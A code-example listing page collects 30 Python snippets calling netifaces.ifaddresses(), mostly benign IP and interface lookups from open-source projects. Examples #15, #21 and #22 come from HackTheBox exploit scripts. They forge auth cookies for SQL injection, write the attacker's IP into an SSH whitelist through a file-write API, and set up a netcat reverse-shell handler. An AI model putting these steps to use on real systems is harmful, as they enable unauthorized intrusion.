Python netifaces.ifaddresses() Examples

The following are 30 code examples of netifaces.ifaddresses(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module netifaces , or try the search function .
Example #1
Source File: topology.py    From InsightAgent with Apache License 2.0 7 votes vote down vote up
def get_interfaces():

    interfaces = netifaces.interfaces()
    interfaces.remove('lo')

    out_interfaces = dict()

    for interface in interfaces:
        addrs = netifaces.ifaddresses(interface)
        out_addrs = dict()
        if netifaces.AF_INET in addrs.keys():
            out_addrs["ipv4"] = addrs[netifaces.AF_INET]
        if netifaces.AF_INET6 in addrs.keys():
            out_addrs["ipv6"] = addrs[netifaces.AF_INET6]
        out_interfaces[interface] = out_addrs

    return out_interfaces 
Example #2
Source File: net.py    From pykit with MIT License 7 votes vote down vote up
def get_host_devices(iface_prefix=''):

    rst = {}

    for ifacename in netifaces.interfaces():

        if not ifacename.startswith(iface_prefix):
            continue

        addrs = netifaces.ifaddresses(ifacename)

        if netifaces.AF_INET in addrs and netifaces.AF_LINK in addrs:

            ips = [addr['addr'] for addr in addrs[netifaces.AF_INET]]

            for ip in ips:
                if is_ip4_loopback(ip):
                    break
            else:
                rst[ifacename] = {'INET': addrs[netifaces.AF_INET],
                                  'LINK': addrs[netifaces.AF_LINK]}

    return rst 
Example #3
Source File: _net.py    From flocker with Apache License 2.0 7 votes vote down vote up
def get_all_ips():
    """
    Find all IPs for this machine.

    :return: ``set`` of IP addresses (``IPAddress``).
    """
    ips = set()
    interfaces = netifaces.interfaces()
    for interface in interfaces:
        addresses = netifaces.ifaddresses(interface)
        for address_family in (netifaces.AF_INET, netifaces.AF_INET6):
            family_addresses = addresses.get(address_family)
            if not family_addresses:
                continue
            for address in family_addresses:
                ips.add(ipaddress_from_string(address['addr']))
    return ips 
Example #4
Source File: client-test2.py    From The-chat-room with MIT License 6 votes vote down vote up
def video_invite():
    global IsOpen, Version, AudioOpen
    if Version == 4:
        host_name = socket.gethostbyname(socket.getfqdn(socket.gethostname()))
    else:
        host_name = [i['addr'] for i in ifaddresses(interfaces()[-2]).setdefault(AF_INET6, [{'addr': 'No IP addr'}])][
            -1]

    invite = 'INVITE' + host_name + ':;' + user + ':;' + chat
    s.send(invite.encode())
    if not IsOpen:
        vserver = vachat.Video_Server(10087, Version)
        if AudioOpen:
            aserver = vachat.Audio_Server(10088, Version)
            aserver.start()
        vserver.start()
        IsOpen = True 
Example #5
Source File: fprobe_container_crawler.py    From agentless-system-crawler with Apache License 2.0 6 votes vote down vote up
def get_ifaddresses(self, ifname):
        """
          Get the list of IPv4 addresses on an interface name; in
          case none could be found yet, wait a bit and try again
        """

        for ctr in range(0, 4):
            res = []

            for data in netifaces.ifaddresses(ifname).get(2, []):
                addr = data.get('addr')
                if addr:
                    res.append(addr)
            if len(res):
                break
            time.sleep(0.01)

        return res 
Example #6
Source File: ctprobe_container_crawler.py    From agentless-system-crawler with Apache License 2.0 6 votes vote down vote up
def get_ifaddresses(self, ifname):
        """
          Get the list of IPv4 addresses on an interface name; in
          case none could be found yet, wait a bit and try again
        """

        for ctr in range(0, 4):
            res = []

            for data in netifaces.ifaddresses(ifname).get(2, []):
                addr = data.get('addr')
                if addr:
                    res.append(addr)
            if len(res):
                break
            time.sleep(0.01)

        return res 
Example #7
Source File: localif.py    From pscheduler with Apache License 2.0 6 votes vote down vote up
def __init__(self,
                 data   # Data suitable for this class
                 ):

        valid, message = data_is_valid(data)
        if not valid:
            raise ValueError("Invalid data: %s" % message)

        self.cidrs = []
        for iface in netifaces.interfaces():
            ifaddrs = netifaces.ifaddresses(iface)
            if netifaces.AF_INET in ifaddrs:
                for ifaddr in ifaddrs[netifaces.AF_INET]:
                    if 'addr' in ifaddr:
                        self.cidrs.append(ipaddress.ip_network(unicode(ifaddr['addr'])))
            if netifaces.AF_INET6 in ifaddrs:
                for ifaddr in ifaddrs[netifaces.AF_INET6]:
                    if 'addr' in ifaddr:
                        #add v6 but remove stuff like %eth0 that gets thrown on end of some addrs
                        self.cidrs.append(ipaddress.ip_network(unicode(ifaddr['addr'].split('%')[0]))) 
Example #8
Source File: nat.py    From pyquarkchain with MIT License 6 votes vote down vote up
def find_internal_ip_on_device_network(upnp_dev: upnpclient.upnp.Device) -> str:
    """
    For a given UPnP device, return the internal IP address of this host machine that can
    be used for a NAT mapping.
    """
    parsed_url = urlparse(upnp_dev.location)
    # Get an ipaddress.IPv4Network instance for the upnp device's network.
    upnp_dev_net = ipaddress.ip_network(parsed_url.hostname + "/24", strict=False)
    for iface in netifaces.interfaces():
        for family, addresses in netifaces.ifaddresses(iface).items():
            # TODO: Support IPv6 addresses as well.
            if family != netifaces.AF_INET:
                continue
            for item in addresses:
                if ipaddress.ip_address(item["addr"]) in upnp_dev_net:
                    return item["addr"]
    raise NoInternalAddressMatchesDevice(device_hostname=parsed_url.hostname) 
Example #9
Source File: GEventNetworkManager.py    From OpenMTC with Eclipse Public License 1.0 6 votes vote down vote up
def _get_addresses_from_ifaddresses(self, ifaddresses):
        """Get addresses of a given interface

        :param ifaddresses: raw addresses of interface (from netifaces)
        :return: list of addresses
        """
        addresses = []
        for family in ifaddresses:
            if family != netifaces.AF_LINK:  # no hwaddr
                for addr in ifaddresses[family]:
                    a = addr["addr"]
                    if family == netifaces.AF_INET6:
                        a = self._remove_ipv6_special_stuff(a)
                    addresses.append(
                        Address(address=a, family=family))

        return addresses 
Example #10
Source File: GEventNetworkManager.py    From OpenMTC with Eclipse Public License 1.0 6 votes vote down vote up
def _get_addresses(self, iface=None):
        """Get addresses of a given interface

        :param iface: name of interface
        :return: list of addresses
        """

        if iface is None:
            interfaces = netifaces.interfaces()
        else:
            interfaces = [iface]

        addresses = []

        for interface in interfaces:
            n_addresses = netifaces.ifaddresses(interface)
            addresses += self._get_addresses_from_ifaddresses(n_addresses)

        # check if array has duplicates
        # addresses = list(set(addresses))

        return addresses 
Example #11
Source File: GEventNetworkManager.py    From OpenMTC with Eclipse Public License 1.0 6 votes vote down vote up
def _create_interface(self, name, ifaddresses):
        """Create Interface tuple based on given interfaces addresses. (function
        independent of netifaces)

        :param name:
        :param ifaddresses:
        :return:
        """
        addresses = self._get_addresses_from_ifaddresses(ifaddresses)
        try:
            hwaddress = ifaddresses[netifaces.AF_LINK][0]["addr"]
        except (IndexError, KeyError):
            self.logger.debug("No hardware address found for %s!", name)
            hwaddress = None

        return Interface(name=name,
                         addresses=addresses,
                         hwaddress=hwaddress) 
Example #12
Source File: GEventNetworkManager.py    From OpenMTC with Eclipse Public License 1.0 6 votes vote down vote up
def _get_interface(self, name):
        """Returns an Interface object identified by name

        :param name: name of interface
        :return Interface: interface
        :raise UnknownInterface: if interface was not found
        """
        if name not in netifaces.interfaces():
            raise InterfaceNotFoundException("%s was not found" % name)
        else:
            ifaddresses = netifaces.ifaddresses(name)
            addresses = self._get_addresses_from_ifaddresses(ifaddresses)
            try:
                hwaddress = ifaddresses[netifaces.AF_LINK][0]["addr"]
            except (IndexError, KeyError):
                self.logger.debug("No hardware address found for %s!", name)
                hwaddress = None
            return Interface(name=name,
                             addresses=addresses,
                             hwaddress=hwaddress) 
Example #13
Source File: util.py    From apple_bleee with GNU General Public License v3.0 6 votes vote down vote up
def get_ip_for_interface(interface_name, ipv6=False):
        """
        Get the ip address in IPv4 or IPv6 for a specific network interface

        :param str interace_name: declares the network interface name for which the ip should be accessed
        :param bool ipv6: Boolean indicating if the ipv6 address should be rertrieved
        :return: (str ipaddress, byte ipaddress_bytes) returns a tuple with the ip address as a string and in bytes
        """
        addresses = netifaces.ifaddresses(interface_name)

        if netifaces.AF_INET6 in addresses and ipv6:
            # Use the normal ipv6 address
            addr = addresses[netifaces.AF_INET6][0]['addr'].split('%')[0]
            bytes_addr = ipaddress.IPv6Address(addr).packed
        elif netifaces.AF_INET in addresses and not ipv6:
            addr = addresses[netifaces.AF_INET][0]['addr']
            bytes_addr = socket.inet_aton(addr)
        else:
            addr = None
            bytes_addr = None

        return addr, bytes_addr 
Example #14
Source File: engine.py    From rift-python with Apache License 2.0 6 votes vote down vote up
def default_physical_interface(self):
        # When simulated interfaces are disabled, the interface names on nodes correspond to real
        # interfaces on the host platform.
        # When simulated interface are enabled, the interface names on nodes are "fake" i.e. they do
        # not correspond to real interfaces on the host platform. All these simulated interfaces
        # actually run on a single real interface, referred to as the physical interface. Traffic to
        # and from different simulated interfaces are distinguished by using different multicast
        # addresses and port numbers for each simulated interface.
        # Pick the first interface with a broadcast IPv4 address (if any) as the default.
        for intf_name in netifaces.interfaces():
            addresses = netifaces.ifaddresses(intf_name)
            if netifaces.AF_INET in addresses:
                ipv4_addresses = addresses[netifaces.AF_INET]
                for ipv4_address in ipv4_addresses:
                    if 'broadcast' in ipv4_address:
                        return intf_name
        print("Cannot pick default physical interface: no broadcast interface found")
        sys.exit(1) 
Example #15
Source File: sqli.py    From HackTheBox with MIT License 6 votes vote down vote up
def main():
	ni.ifaddresses('tun0')
	ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']

	m = hashlib.md5()
	m.update(ip)
	patient = m.hexdigest() # Patient=md5sum(ip)
	modus = 'Q29uZmlndXJlPVRydWU%3d' # Configure=True
	preRegistered = '{}=True'.format(patient) # preRegistered=md5sum(ip)=True [Non-base64]
	registered = urllib.quote_plus(base64.b64encode(preRegistered))

	cookies = {
	    'Modus': '{}'.format(modus),
	    'Patient': '{}'.format(patient),
	    'Registered': '{}'.format(registered)
	}

	whitelist(ip,cookies)
	sqli(ip,cookies) 
Example #16
Source File: addressmapper.py    From supvisors with Apache License 2.0 6 votes vote down vote up
def ipv4():
        """ Get all IPv4 addresses for all interfaces. """
        try:
            from netifaces import interfaces, ifaddresses, AF_INET
            # to not take into account loopback addresses (no interest here)
            addresses = []
            for interface in interfaces():
                config = ifaddresses(interface)
                # AF_INET is not always present
                if AF_INET in config.keys():
                    for link in config[AF_INET]:
                        # loopback holds a 'peer' instead of a 'broadcast' address
                        if 'addr' in link.keys() and 'peer' not in link.keys():
                            addresses.append(link['addr']) 
            return addresses
        except ImportError:
            return [] 
Example #17
Source File: wol.py    From epoptes with GNU General Public License v3.0 6 votes vote down vote up
def get_broadcast_list():
    """Return all broadcast addresses.
    E.g. WOL messages need to be sent from all NICs.
    """
    brlist = ['<broadcast>']
    ifaces = [iface for iface in netifaces.interfaces() if iface != 'lo']
    for ifname in ifaces:
        # An interface can have more than one address, even within the
        # same family (AF_INET), or none, so check this case too.
        addresses = netifaces.ifaddresses(ifname)
        if netifaces.AF_INET not in addresses:
            continue
        for addr in addresses[netifaces.AF_INET]:
            if 'broadcast' in addr:
                brlist.append(addr['broadcast'])
    return brlist 
Example #18
Source File: network.py    From Paradrop with Apache License 2.0 6 votes vote down vote up
def select_chute_subnet_pool(host_config):
    """
    Select IP subnet to use as pool for chutes.

    Behavior depends on whether a static subnet is configured or auto
    configuration is requested. If the chuteSubnetPool option is set to 'auto',
    then we check the WAN interface address and choose either 10.128.0.0/9 or
    192.168.128.0/17 to avoid conflict.  Otherwise, we used the specified
    subnet.
    """
    pool = datastruct.getValue(host_config, "system.chuteSubnetPool", 'auto')
    wan_ifname = datastruct.getValue(host_config, 'wan.interface', 'eth0')

    if pool == 'auto':
        addresses = netifaces.ifaddresses(wan_ifname)
        ipv4_addrs = addresses.get(netifaces.AF_INET, [])

        if any(x['addr'].startswith("10.") for x in ipv4_addrs):
            return "192.168.128.0/17"
        else:
            return "10.128.0.0/9"

    else:
        return pool 
Example #19
Source File: client.py    From The-chat-room with MIT License 6 votes vote down vote up
def video_invite():
    global IsOpen, Version, AudioOpen
    if Version == 4:
        host_name = socket.gethostbyname(socket.getfqdn(socket.gethostname()))
    else:
        host_name = [i['addr'] for i in ifaddresses(interfaces()[-2]).setdefault(AF_INET6, [{'addr': 'No IP addr'}])][
            -1]

    invite = 'INVITE' + host_name + ':;' + user + ':;' + chat
    s.send(invite.encode())
    if not IsOpen:
        vserver = vachat.Video_Server(10087, Version)
        if AudioOpen:
            aserver = vachat.Audio_Server(10088, Version)
            aserver.start()
        vserver.start()
        IsOpen = True 
Example #20
Source File: client-test.py    From The-chat-room with MIT License 6 votes vote down vote up
def video_invite():
    global IsOpen, Version, AudioOpen
    if Version == 4:
        host_name = socket.gethostbyname(socket.getfqdn(socket.gethostname()))
    else:
        host_name = [i['addr'] for i in ifaddresses(interfaces()[-2]).setdefault(AF_INET6, [{'addr': 'No IP addr'}])][
            -1]

    invite = 'INVITE' + host_name + ':;' + user + ':;' + chat
    s.send(invite.encode())
    if not IsOpen:
        vserver = vachat.Video_Server(10087, Version)
        if AudioOpen:
            aserver = vachat.Audio_Server(10088, Version)
            aserver.start()
        vserver.start()
        IsOpen = True 
Example #21
Source File: allowssh.py    From HackTheBox with MIT License 5 votes vote down vote up
def main():
	ni.ifaddresses('tun0')
	ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']

	cookies = {
	    'session': '0b7d4ec2fe297b3b36863a0020f503164fe53374',
	    'mp_df4919c7cb869910c1e188dbc2918807_mixpanel': '%7B%22distinct_id%22%3A%20%22168b141ea2d235-07f82fc062bb9b-3c6e4645-1fa400-168b141ea2e4e0%22%2C%22version%22%3A%20%222.1.25%22%2C%22platform%22%3A%20%22debian%22%2C%22platformUnmapped%22%3A%20%22debian%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D',
	}

	headers = {
	    'Host': 'sysadmin-console-01.flujab.htb:8080',
	    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0',
	    'Accept': 'application/json, text/plain, */*',
	    'Accept-Language': 'en-US,en;q=0.5',
	    'Accept-Encoding': 'gzip, deflate',
	    'Referer': 'https://sysadmin-console-01.flujab.htb:8080/view/notepad//etc/ssh/sshd_wl',
	    'Content-Type': 'application/json;charset=utf-8',
	    'Content-Length': '104',
	    'Connection': 'close',
	}

	params = (
	    ('encoding', 'utf-8'),
	)

	data = 'sshd : {}\nsshd : {}'.format(ip,ip)

	response = requests.post('https://sysadmin-console-01.flujab.htb:8080/api/filesystem/write//etc/ssh/sshd_wl', headers=headers, params=params, cookies=cookies, data=data, verify=False)
	print '[*] Response code: {}'.format(response.status_code)
	print "[*] Run: ssh -i files/id_rsa drno@10.10.10.124 -t 'bash --noprofile'" 
Example #22
Source File: shell.py    From HackTheBox with MIT License 5 votes vote down vote up
def main():
	try:
		ni.ifaddresses('tun0')
		ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
		port = 9191
	except:
		print '{}[*]{} Failed to retrieve tun0 IP address. Is your VPN on?'.format(CRED,CEND)
                sys.exit()

	auth = getAuth() # Get authentication ID in JSON format
	scriptid = createScript(auth,ip) # Create script and return its ID
	netcat() # Start netcat handler
	executeScript(scriptid) # Execute the created script 
Example #23
Source File: core.py    From pina-colada with MIT License 5 votes vote down vote up
def set_interface(self, iface):
        if iface in ni.interfaces() and ni.AF_INET in ni.ifaddresses(iface):
            self.default_iface = iface
            self.localIP = self.get_local_ip(self.default_iface)
            return True
        else:
            return None 
Example #24
Source File: rogue.py    From rogue with GNU General Public License v3.0 5 votes vote down vote up
def is_interface_up(interface):
        addr = netifaces.ifaddresses(interface)
        return netifaces.AF_INET in addr 
Example #25
Source File: test.py    From flare-fakenet-ng with Apache License 2.0 5 votes vote down vote up
def get_ips(ipvers):
    """Return IP addresses bound to local interfaces including loopbacks.
    
    Parameters
    ----------
    ipvers : list
        IP versions desired (4, 6, or both); ensures the netifaces semantics
        (e.g. netiface.AF_INET) are localized to this function.
    """
    specs = []
    results = []

    for ver in ipvers:
        if ver == 4:
            specs.append(netifaces.AF_INET)
        elif ver == 6:
            specs.append(netifaces.AF_INET6)
        else:
            raise ValueError('get_ips only supports IP versions 4 and 6')

    for iface in netifaces.interfaces():
        for spec in specs:
            addrs = netifaces.ifaddresses(iface)
            # If an interface only has an IPv4 or IPv6 address, then 6 or 4
            # respectively will be absent from the keys in the interface
            # addresses dictionary.
            if spec in addrs:
                for link in addrs[spec]:
                    if 'addr' in link:
                        results.append(link['addr'])

    return results 
Example #26
Source File: core.py    From pina-colada with MIT License 5 votes vote down vote up
def get_local_ip(self, iface):
        addrs = ni.ifaddresses(iface)
        ipinfo = addrs[socket.AF_INET][0]
        return ipinfo['addr'] 
Example #27
Source File: core.py    From pina-colada with MIT License 5 votes vote down vote up
def get_local_mac(self, iface):
        return ni.ifaddresses(iface)[ni.AF_LINK][0]['addr'] 
Example #28
Source File: zeroconf.py    From apple_bleee with GNU General Public License v3.0 5 votes vote down vote up
def normalize_interface_choice(choice, address_family, interface_name):
    if choice is InterfaceChoice.Default and address_family is socket.AF_INET:
        choice = ['0.0.0.0']
    elif choice is InterfaceChoice.All and address_family is socket.AF_INET:
        choice = get_all_addresses(address_family)
    elif address_family is socket.AF_INET6: #IPv6 
        if choice is InterfaceChoice.Default or choice is InterfaceChoice.All:
            #Get the ip of the interface 
            ip6_addr =  netifaces.ifaddresses(interface_name)[address_family][0]['addr']
            ip6_addr = ip6_addr.split("%")[0]
            return [ip6_addr]
        else: 
            return choice
    return choice 
Example #29
Source File: zeroconf.py    From apple_bleee with GNU General Public License v3.0 5 votes vote down vote up
def get_all_addresses(address_family):
    return list(set(
        addr['addr']
        for iface in netifaces.interfaces()
        for addr in netifaces.ifaddresses(iface).get(address_family, [])
        if addr.get('netmask') != HOST_ONLY_NETWORK_MASK
    )) 
Example #30
Source File: core.py    From pina-colada with MIT License 5 votes vote down vote up
def get_cidr(self, iface):
        addrs = ni.ifaddresses(iface)
        ipinfo = addrs[socket.AF_INET][0]
        address = ipinfo['addr']
        netmask = ipinfo['netmask']
        return netaddr.IPNetwork('%s/%s' % (address, netmask))